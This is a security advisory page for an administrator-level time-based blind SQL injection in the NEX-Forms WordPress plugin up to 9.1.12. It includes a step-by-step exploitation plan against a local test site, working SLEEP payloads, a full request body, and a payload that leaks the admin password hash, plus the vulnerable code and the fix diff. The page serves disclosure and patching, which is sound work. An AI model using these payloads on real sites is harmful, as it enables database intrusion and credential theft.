NEX-Forms – Ultimate Forms Plugin for WordPress <= 9.1.12 - Authenticated (Administrator+) SQL Injection via 'table' Parameter
Description
The NEX-Forms – Ultimate Forms Plugin for WordPress plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'table' parameter in all versions up to, and including, 9.1.12 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=9.1.12What Changed in the Fix
Changes introduced in v9.1.13
Source Code
WordPress.org SVNThis research plan outlines the steps to verify and exploit an authenticated SQL injection vulnerability in NEX-Forms – Ultimate Forms Plugin for WordPress (<= 9.1.12). --- ### 1. Vulnerability Summary * **Vulnerability:** SQL Injection (Time-based Blind) * **Parameter:** `table` * **Vulnera…
Show full research plan
This research plan outlines the steps to verify and exploit an authenticated SQL injection vulnerability in NEX-Forms – Ultimate Forms Plugin for WordPress (<= 9.1.12).
1. Vulnerability Summary
- Vulnerability: SQL Injection (Time-based Blind)
- Parameter:
table - Vulnerable Component: Administrative Dashboard Record Processing
- Sink:
$wpdb->get_results()(or similar direct database query) - Cause: The plugin accepts a
tableparameter from the user and interpolates it directly into a SQL query string without using$wpdb->prepare()or validating it against an allowlist of valid table names.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php(AJAX action) or/wp-admin/admin.php?page=nex-forms-entries(Dashboard page). - Action:
nf_admin_dashboard_actions(inferred from the nonce name inincludes/classes/class.dashboard.php). - Payload Parameter:
table - Authentication: Requires Administrator-level access (capability
activate_plugins). - Preconditions: The plugin must be active. A nonce is required for the administrative actions.
3. Code Flow
- Entry Point: An administrator visits the "Form Entries" page (
nex-forms-entries). - Nonce Generation:
includes/classes/class.dashboard.phpcallswp_create_nonce( 'nf_admin_dashboard_actions' ). This nonce is stored in a hiddendivwith IDnex_forms_wpnonce. - Vulnerable Call: The dashboard logic (likely within
NEXForms_dashboard::print_record_table()or a corresponding AJAX handler) retrieves thetableparameter from$_REQUEST['table']or$_POST['table']. - The Sink: The value of
tableis used to construct a SQL query:// Inferred logic in print_record_table or AJAX handler $table = $_REQUEST['table']; $wpdb->get_results("SELECT * FROM {$wpdb->prefix}$table WHERE ..."); - Injection: Since the table name is not escaped, an attacker can append SQL clauses like
WHERE SLEEP(5).
4. Nonce Acquisition Strategy
The nonce is localized in the dashboard HTML.
- Navigate: Use
browser_navigatetohttp://localhost:8080/wp-admin/admin.php?page=nex-forms-entries. - Extract: Use
browser_evalto extract the nonce from the DOM.- JavaScript:
document.getElementById('nex_forms_wpnonce').innerText
- JavaScript:
- Variable Name: The nonce is used for the action
nf_admin_dashboard_actions.
5. Exploitation Strategy
We will perform a time-based blind SQL injection using the table parameter.
- Target URL:
http://localhost:8080/wp-admin/admin-ajax.php - HTTP Method:
POST - Content-Type:
application/x-www-form-urlencoded - Step 1 (Baseline): Send a request with a valid table name.
action=nf_admin_dashboard_actionssecurity=[NONCE]table=wap_nex_forms_entries
- Step 2 (Injection): Send a request with the sleep payload.
- Payload:
wap_nex_forms_entries WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) - Full Body:
action=nf_admin_dashboard_actions&security=[NONCE]&table=wap_nex_forms_entries WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
- Payload:
- Observation: The response time should be significantly higher (~5 seconds).
6. Test Data Setup
- User: Ensure an administrator user exists (default
admin/password). - Plugin Setup: The plugin must be activated.
- Content: Create at least one form entry to ensure the dashboard has data to query, although the injection should work regardless if the query is executed.
wp post create --post_type=page --post_content='[nex_forms id="1"]' --post_title='Form Page' --post_status='publish'(Note: Forms are usually created via the NEX-Forms UI; if needed, use WP-CLI to ensure at least one form exists inwp_wap_nex_forms).
7. Expected Results
- Baseline Request: Returns quickly (< 1s).
- Payload Request: Returns after ~5 seconds.
- Success Indicator: A measurable delay in the server response confirming the SQL command was executed.
8. Verification Steps
- Time Difference: Calculate
response_time_payload - response_time_baseline. If > 4.5s, the injection is successful. - Data Extraction (Optional): To prove data exfiltration, check for the first character of the admin's user pass:
- Payload:
wap_nex_forms_entries WHERE 1=1 AND IF(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$', SLEEP(5), 0) - (Most WP hashes start with
$).
- Payload:
9. Alternative Approaches
If the AJAX action name nf_admin_dashboard_actions is incorrect:
- Search
includes/foradd_action( 'wp_ajax_to find the correct administrative AJAX handler. - Attempt the injection via a
GETrequest directly to the entries page:GET /wp-admin/admin.php?page=nex-forms-entries&table=wap_nex_forms_entries' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Note: Table names in SQL queries are sometimes wrapped in backticks (`). If the payload fails, try closing the backtick:table=wap_nex_forms_entriesWHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`
Summary
The NEX-Forms plugin for WordPress is vulnerable to time-based blind SQL injection via the 'table' parameter in its administrative dashboard. This occurs because the plugin fails to properly validate or sanitize the table name before using it in a database query, allowing authenticated administrators to append arbitrary SQL commands to extract sensitive data.
Vulnerable Code
// includes/classes/class.dashboard.php, approximately line 4219 in version 9.1.12 if(isset($_POST['table'])) $table = $wpdb->prepare('%s',esc_sql($_POST['table'])); else $table = $wpdb->prepare('%s',$this->table); $table = str_replace('\'','',$table);
Security Fix
@@ -4216,12 +4216,42 @@ else $search_params = $this->search_params; - if(isset($_POST['table'])) - $table = $wpdb->prepare('%s',esc_sql($_POST['table'])); - else - $table = $wpdb->prepare('%s',$this->table); + $allowed_tables = array( + 'wap_nex_forms', + 'wap_nex_forms_entries', + 'wap_nex_forms_reports', + 'wap_nex_forms_email_templates', + 'wap_nex_forms_views', + 'wap_nex_forms_stats_interactions', + 'wap_nex_forms_files', + 'wap_nex_forms_add_ons' + ); + + $user_reports = $wpdb->get_results( + 'SELECT db_table FROM '.$wpdb->prefix.'wap_nex_forms_reports' + ); + + if (!empty($user_reports)) { + + foreach ($user_reports as $report) { + $report_table = sanitize_key($report->db_table); + if (!empty($report_table)) { + $allowed_tables[] = str_replace($wpdb->prefix,'',$report_table); + } + } + } + + - $table = str_replace('\'','',$table); + $allowed_tables = array_unique($allowed_tables); + + $table = isset($_POST['table']) + ? sanitize_key($_POST['table']) + : sanitize_key($this->table); + + if (!in_array($table, $allowed_tables, true)) { + wp_die('Invalid table.'); + } $where_str = ''; $show_hide_field = (isset($_POST['showhide_fields'])) ? str_replace('\'','',$wpdb->prepare('%s',esc_sql(sanitize_text_field($_POST['showhide_fields'])))) : '';
Exploit Outline
The exploit requires Administrator-level authentication. 1. Access the 'Form Entries' dashboard page to retrieve a valid nonce for the 'nf_admin_dashboard_actions' action. 2. Send a POST request to `/wp-admin/admin-ajax.php` with the parameter `action=nf_admin_dashboard_actions` and the retrieved nonce. 3. Include a `table` parameter containing a payload that breaks the intended query logic, such as `wap_nex_forms_entries WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`. 4. Observe the response delay to confirm the execution of the injected SQL command.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.